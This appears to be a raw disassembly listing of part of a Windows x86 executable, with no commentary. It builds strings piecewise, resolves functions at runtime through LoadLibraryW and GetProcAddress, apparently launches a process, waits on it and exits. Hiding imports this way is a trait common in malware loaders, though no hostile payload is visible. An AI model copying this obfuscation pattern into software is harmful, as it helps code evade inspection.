lea esi, [ebp - 0xfd0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf98]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xef0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xeb8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe80]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd84]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe48]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xda0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe2c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf7c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1024]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf44]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10cc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf0c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd68]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfec]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xed4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x105c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe10]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdd8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdbc]
mov byte [ebp - 4], 0xeb
call fcn.004017e3
lea eax, [ebp - 0xca4]
push eax
lea eax, [ebp - 0xfb4]
push eax
call fcn.004094cd
pop ecx
pop ecx
mov ebx, eax
lea eax, [ebp - 0xca4]
mov byte [ebp - 4], 0xec
call fcn.004015fd
push 1
lea esi, [ebp - 0xfb4]
mov byte [ebp - 4], 0xeb
call fcn.004017e3
lea edx, [ebp - 0xca4]
lea ecx, [ebp - 0xe64]
call fcn.00401055
mov ebx, eax
lea eax, [ebp - 0xca4]
mov byte [ebp - 4], 0xed
call fcn.004015fd
push 1
lea esi, [ebp - 0xe64]
mov byte [ebp - 4], 0xeb
call fcn.004017e3
cmp dword [ebp - 0xc90], 8
mov eax, dword [ebp - 0xca4]
jae 0x404534
lea eax, [ebp - 0xca4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor esi, esi
mov dword [ebp - 0x16c0], eax
cmp eax, esi
jne 0x40454e
push 1
jmp 0x4051c8
lea eax, [ebp - 0x1388]
push eax
call fcn.004027b9
pop ecx
mov edi, eax
lea eax, [ebp - 0x1548]
push eax
mov byte [ebp - 4], 0xee
call fcn.00402785
pop ecx
mov dword [ebp - 0x16d4], eax
lea eax, [ebp - 0x15f0]
push eax
mov byte [ebp - 4], 0xef
call fcn.004026b5
pop ecx
mov dword [ebp - 0x16d0], eax
lea eax, [ebp - 0x1510]
push eax
mov byte [ebp - 4], 0xf0
call fcn.0040283b
pop ecx
mov dword [ebp - 0x16b8], eax
lea eax, [ebp - 0x1660]
push eax
mov byte [ebp - 4], 0xf1
call fcn.00402821
pop ecx
mov dword [ebp - 0x16a8], eax
lea eax, [ebp - 0x14d8]
push eax
mov byte [ebp - 4], 0xf2
call fcn.004027d3
pop ecx
mov dword [ebp - 0x16ac], eax
lea eax, [ebp - 0x15b8]
push eax
mov byte [ebp - 4], 0xf3
call fcn.004026b5
pop ecx
mov dword [ebp - 0x16b4], eax
lea eax, [ebp - 0x14a0]
push eax
mov byte [ebp - 4], 0xf4
call fcn.004027ed
pop ecx
mov dword [ebp - 0x16bc], eax
lea eax, [ebp - 0x1628]
push eax
mov byte [ebp - 4], 0xf5
call fcn.0040276b
pop ecx
mov dword [ebp - 0x16c4], eax
lea eax, [ebp - 0x144c]
push eax
mov byte [ebp - 4], 0xf6
call fcn.00402785
pop ecx
mov dword [ebp - 0x16cc], eax
lea eax, [ebp - 0x1104]
push eax
mov byte [ebp - 4], 0xf7
call fcn.00402703
pop ecx
mov dword [ebp - 0x16c8], eax
lea eax, [ebp - 0x13f8]
push eax
mov byte [ebp - 4], pe_nt_image_headers32
call fcn.0040283b
pop ecx
mov dword [ebp - 0x16a4], eax
lea eax, [ebp - 0x1318]
push eax
mov byte [ebp - 4], 0xf9
call fcn.00402807
pop ecx
mov dword [ebp - 0x16b0], eax
lea eax, [ebp - 0x1350]
push eax
mov byte [ebp - 4], 0xfa
call fcn.0040271d
pop ecx
mov dword [ebp - 0x16a0], eax
lea eax, [ebp - 0x13c0]
push eax
mov byte [ebp - 4], 0xfb
call fcn.0040264d
pop ecx
mov dword [ebp - 0x169c], eax
lea eax, [ebp - 0x113c]
push eax
mov byte [ebp - 4], 0xfc
call fcn.00402737
pop ecx
push eax
push 0x42122c
lea ebx, [ebp - 0x13a4]
mov byte [ebp - 4], 0xfd
call fcn.00407e8d
push 0x421228
push eax
lea eax, [ebp - 0x1174]
mov byte [ebp - 4], 0xfe
call fcn.00407eca
mov ecx, eax
mov eax, dword [ebp - 0x169c]
lea edx, [ebp - 0x12c4]
mov byte [ebp - 4], 0xff
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16a0]
lea edx, [ebp - 0x11ac]
mov dword [ebp - 4], 0x100
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16b0]
xor ebx, ebx
inc ebx
lea edx, [ebp - 0x136c]
mov byte [ebp - 4], bl
call fcn.00407f09
push 0x421224
push eax
lea eax, [ebp - 0x11e4]
mov byte [ebp - 4], 2
call fcn.00407eca
mov ecx, eax
mov eax, dword [ebp - 0x16a4]
lea edx, [ebp - 0x12fc]
mov byte [ebp - 4], 3
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16c8]
lea edx, [ebp - 0x121c]
mov byte [ebp - 4], 4
call fcn.00407f09
mov ecx, eax
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x16cc]
lea edx, [ebp - 0x13dc]
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16c4]
lea edx, [ebp - 0x1254]
mov byte [ebp - 4], 6
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16bc]
lea edx, [ebp - 0x1334]
mov byte [ebp - 4], 7
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16b4]
lea edx, [ebp - 0x128c]
mov byte [ebp - 4], 8
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16ac]
lea edx, [ebp - 0x1200]
mov byte [ebp - 4], 9
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16a8]
lea edx, [ebp - 0x1238]
mov byte [ebp - 4], 0xa
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16b8]
lea edx, [ebp - 0x1270]
mov byte [ebp - 4], 0xb
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16d0]
lea edx, [ebp - 0x12a8]
mov byte [ebp - 4], 0xc
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16d4]
lea edx, [ebp - 0x12e0]
mov byte [ebp - 4], 0xd
call fcn.00407f09
push 0x421220
push eax
lea eax, [ebp - 0xe64]
mov byte [ebp - 4], 0xe
call fcn.00407eca
mov ecx, eax
mov eax, edi
lea edx, [ebp - 0xfb4]
mov byte [ebp - 4], 0xf
call fcn.00407f09
push eax
lea eax, [ebp - 0xcdc]
push eax
mov byte [ebp - 4], 0x10
call fcn.0040955f
add esp, 0x28
push esi
push ebx
lea ecx, [ebp - 0xfb4]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xe64]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x12e0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x12a8]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1270]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1238]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1200]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x128c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1334]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1254]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x13dc]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x121c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x12fc]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x11e4]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x136c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x11ac]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x12c4]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1174]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x13a4]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x113c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x13c0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1350]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1318]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x13f8]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1104]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x144c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1628]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x14a0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x15b8]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x14d8]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1660]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1510]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x15f0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1548]
call fcn.004015bb
mov byte [ebp - 4], 0x34
push esi
push ebx
lea ecx, [ebp - 0x1388]
call fcn.004015bb
lea eax, [ebp - 0xcc0]
push eax
lea ecx, [ebp - 0xcdc]
call fcn.00401245
pop ecx
mov esi, eax
lea edi, [ebp - 0xcdc]
mov byte [ebp - 4], 0x35
call fcn.0040151d
xor esi, esi
push esi
push ebx
lea ecx, [ebp - 0xcc0]
mov byte [ebp - 4], 0x34
call fcn.004015bb
cmp dword [ebp - 0xcc8], 0x10
mov eax, dword [ebp - 0xcdc]
jae 0x404a85
mov eax, edi
push eax
push dword [ebp - 0x16c0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
jne 0x404aa7
push dword [ebp - 0x16c0]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4051b3
lea ecx, [ebp - 0xde8]
push ecx
lea ecx, [ebp - 0x1748]
push ecx
lea ecx, [ebp - 0x738]
push ecx
push esi
push esi
push esi
push esi
push esi
lea ecx, [ebp - 0x840]
push ecx
push esi
call eax
cmp eax, esi
jne 0x404aff
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x320]
push 0x421230
push eax
call fcn.0040e443
add esp, 0xc
push esi
lea eax, [ebp - 0x320]
push eax
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4051b3
push 0xffffffffffffffff
push dword [ebp - 0xde8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x1414]
push eax
call fcn.004027d3
pop ecx
mov edi, eax
lea eax, [ebp - 0x1468]
push eax
mov byte [ebp - 4], 0x36
call fcn.00402807
pop ecx
mov dword [ebp - 0x16e0], eax
lea eax, [ebp - 0x167c]
push eax
mov byte [ebp - 4], 0x37
call fcn.004027d3
pop ecx
mov dword [ebp - 0x16e4], eax
lea eax, [ebp - 0x1698]
push eax
mov byte [ebp - 4], 0x38
call fcn.00402821
pop ecx
mov dword [ebp - 0x16ec], eax
lea eax, [ebp - 0x1644]
push eax
mov byte [ebp - 4], 0x39
call fcn.00402681
pop ecx
mov dword [ebp - 0x16dc], eax
lea eax, [ebp - 0x160c]
push eax
mov byte [ebp - 4], 0x3a
call fcn.004026e9
pop ecx
mov dword [ebp - 0x16e8], eax
lea eax, [ebp - 0x15d4]
push eax
mov byte [ebp - 4], 0x3b
call fcn.00402667
pop ecx
mov dword [ebp - 0x16d4], eax
lea eax, [ebp - 0x159c]
push eax
mov byte [ebp - 4], 0x3c
call fcn.00402737
pop ecx
mov dword [ebp - 0x16d0], eax
lea eax, [ebp - 0x1564]
push eax
mov byte [ebp - 4], 0x3d
call fcn.0040279f
pop ecx
mov dword [ebp - 0x16b8], eax
lea eax, [ebp - 0x152c]
push eax
mov byte [ebp - 4], 0x3e
call fcn.00402703
pop ecx
mov dword [ebp - 0x16a8], eax
lea eax, [ebp - 0x14f4]
push eax
mov byte [ebp - 4], 0x3f
call fcn.00402855
pop ecx
mov dword [ebp - 0x16ac], eax
mov byte [ebp - 4], 0x40
lea eax, [ebp - 0x14bc]
push eax
call fcn.00402751
pop ecx
mov dword [ebp - 0x16b4], eax
lea eax, [ebp - 0x1484]
push eax
mov byte [ebp - 4], 0x41
call fcn.00402807
pop ecx
mov dword [ebp - 0x16bc], eax
lea eax, [ebp - 0x1430]
push eax
mov byte [ebp - 4], 0x42
call fcn.004027b9
pop ecx
mov dword [ebp - 0x16c4], eax
lea eax, [ebp - 0x1580]
push eax
mov byte [ebp - 4], 0x43
call fcn.0040264d
pop ecx
mov dword [ebp - 0x16cc], eax
lea eax, [ebp - 0xdbc]
push eax
mov byte [ebp - 4], 0x44
call fcn.004026cf
pop ecx
mov dword [ebp - 0x16c8], eax
lea eax, [ebp - 0xdd8]
push eax
mov byte [ebp - 4], 0x45
call fcn.0040269b
pop ecx
mov dword [ebp - 0x16a4], eax
lea eax, [ebp - 0xe10]
push eax
mov byte [ebp - 4], 0x46
call fcn.00402855
pop ecx
mov dword [ebp - 0x16b0], eax
lea eax, [ebp - 0x105c]
push eax
mov byte [ebp - 4], 0x47
call fcn.00402821
pop ecx
mov dword [ebp - 0x16a0], eax
lea eax, [ebp - 0xed4]
push eax
mov byte [ebp - 4], 0x48
call fcn.0040279f
pop ecx
mov dword [ebp - 0x169c], eax
lea eax, [ebp - 0xfec]
push eax
mov byte [ebp - 4], 0x49
call fcn.0040271d
pop ecx
mov ecx, eax
mov eax, dword [ebp - 0x169c]
lea edx, [ebp - 0xd68]
mov byte [ebp - 4], 0x4a
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16a0]
lea edx, [ebp - 0xf0c]
mov byte [ebp - 4], 0x4b
call fcn.00407f09
mov ecx, eax
mov byte [ebp - 4], 0x4c
mov eax, dword [ebp - 0x16b0]
lea edx, [ebp - 0x10cc]
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16a4]
lea edx, [ebp - 0xf44]
mov byte [ebp - 4], 0x4d
call fcn.00407f09
push 0x421234
push eax
lea eax, [ebp - 0x1024]
mov byte [ebp - 4], 0x4e
call fcn.00407eca
mov ecx, eax
mov eax, dword [ebp - 0x16c8]
lea edx, [ebp - 0xf7c]
mov byte [ebp - 4], 0x4f
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16cc]
lea edx, [ebp - 0xe2c]
mov byte [ebp - 4], 0x50
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16c4]
lea edx, [ebp - 0xda0]
mov byte [ebp - 4], 0x51
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16bc]
lea edx, [ebp - 0xe48]
mov byte [ebp - 4], 0x52
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16b4]
lea edx, [ebp - 0xd84]
mov byte [ebp - 4], 0x53
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16ac]
lea edx, [ebp - 0xe80]
mov byte [ebp - 4], 0x54
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16a8]
lea edx, [ebp - 0xeb8]
mov byte [ebp - 4], 0x55
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16b8]
lea edx, [ebp - 0xef0]
mov byte [ebp - 4], 0x56
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16d0]
lea edx, [ebp - 0xf98]
mov byte [ebp - 4], 0x57
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16d4]
lea edx, [ebp - 0xfd0]
mov byte [ebp - 4], 0x58
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16e8]
lea edx, [ebp - 0x1008]
mov byte [ebp - 4], 0x59
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16dc]
lea edx, [ebp - 0x1040]
mov byte [ebp - 4], 0x5a
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16ec]
lea edx, [ebp - 0x1078]
mov byte [ebp - 4], 0x5b
call fcn.00407f09
mov ecx, eax
mov eax, dword [ebp - 0x16e4]
lea edx, [ebp - 0x10b0]
mov byte [ebp - 4], 0x5c
call fcn.00407f09
push 0x421228
push eax
lea eax, [ebp - 0x10e8]
mov byte [ebp - 4], 0x5d
call fcn.00407eca
mov ecx, eax
mov eax, dword [ebp - 0x16e0]
lea edx, [ebp - 0x1094]
mov byte [ebp - 4], 0x5e
call fcn.00407f09
push 0x421224
push eax
lea eax, [ebp - 0xcf8]
mov byte [ebp - 4], 0x5f
call fcn.00407eca
mov ecx, eax
mov eax, edi
lea edx, [ebp - 0xcc0]
mov byte [ebp - 4], 0x60
call fcn.00407f09
push eax
lea eax, [ebp - 0xd30]
push eax
mov byte [ebp - 4], 0x61
call fcn.0040955f
add esp, 0x20
push esi
push ebx
lea ecx, [ebp - 0xcc0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xcf8]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1094]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x10e8]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x10b0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1078]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1040]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1008]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xfd0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xf98]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xef0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xeb8]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xe80]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xd84]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xe48]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xda0]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xe2c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xf7c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1024]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xf44]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x10cc]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xf0c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xd68]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xfec]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xed4]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x105c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xe10]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xdd8]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xdbc]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1580]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1430]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1484]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x14bc]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x14f4]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x152c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1564]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x159c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x15d4]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x160c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1644]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1698]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x167c]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1468]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0x1414]
mov byte [ebp - 4], 0x8e
call fcn.004015bb
lea eax, [ebp - 0x1388]
push eax
lea ecx, [ebp - 0xd30]
call fcn.00401245
pop ecx
mov esi, eax
lea edi, [ebp - 0xd30]
mov byte [ebp - 4], 0x8f
call fcn.0040151d
xor esi, esi
push esi
push ebx
lea ecx, [ebp - 0x1388]
mov byte [ebp - 4], 0x8e
call fcn.004015bb
cmp dword [ebp - 0xd1c], 0x10
mov eax, dword [ebp - 0xd30]
jae 0x405185
mov eax, edi
push eax
push dword [ebp - 0x16c0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
jne 0x40526b
push dword [ebp - 0x16c0]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
push ebx
lea ecx, [ebp - 0xd30]
call fcn.004015bb
push esi
push ebx
lea ecx, [ebp - 0xcdc]
mov dword [ebp - 4], 0xeb
call fcn.004015bb
push ebx
xor edi, edi
lea esi, [ebp - 0xca4]
call fcn.004017e3
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0xc88]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xc6c]
call fcn.004017e3
lea ecx, [ebp - 0x1790]
mov byte [ebp - 4], 0xa7
call fcn.004070f0
lea eax, [ebp - 0x1790]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0040b652
pop ecx
push ebx
lea esi, [ebp - 0xd14]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd4c]
call fcn.004017e3
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0xe9c]
call fcn.004017e3
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x16fc]
push eax
call fcn.00406f3e
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040bebb
leave
ret
lea ecx, [ebp - 0x16d8]
push ecx
push dword [ebp - 0xde8]
mov dword [ebp - 0x16d8], esi
call eax
push dword [ebp - 0x16c0]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 0x16d8]
call dword [sym.imp.KERNEL32.dll_ExitProcess]